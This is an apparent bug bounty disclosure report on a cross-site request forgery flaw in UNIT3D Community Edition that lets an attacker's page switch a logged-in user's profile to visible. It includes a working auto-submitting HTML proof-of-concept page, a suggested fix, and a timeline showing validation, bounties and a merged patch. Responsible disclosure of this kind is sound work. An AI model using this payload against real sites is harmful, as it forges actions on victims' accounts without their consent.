Cross-Site Request Forgery (CSRF) in hdinnovations/unit3d-community-edition

Valid

Reported on

Aug 4th 2021


✍️ Description

Attacker is able to change a user profile state to visible if a logged in user visits attacker website.

🕵️‍♂️ Proof of Concept

1.when you logged in open this POC.html in a browser
2.you can check your profile state changed to visible

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="https://unit3d.site/users/UNIT3D/settings/visible">
     <input type="submit" value="Submit request" />
   </form>
   <script>
     document.forms[0].submit();
   </script>
 </body>
</html>

💥 Impact

This vulnerability is capable of forging user to unintentional change profile state to visible.

💥 Test

Tested on Edge, firefox, chrome and safari.

💥 Fix

You should set a CSRF token on such GET requests or you can use POST instead of GET then because of cookie SameSite is Lax, request from other origins could not carry cookie.

Occurences

We have contacted a member of the hdinnovations/unit3d-community-edition team and are waiting to hear back 4 months ago
HDVinnie validated this vulnerability 4 months ago
Musio has been awarded the disclosure bounty
The fix bounty is now up for grabs
HDVinnie confirmed that a fix has been merged on 2ea49b 2 months ago
HDVinnie has been awarded the fix bounty
web.php#L345 has been validated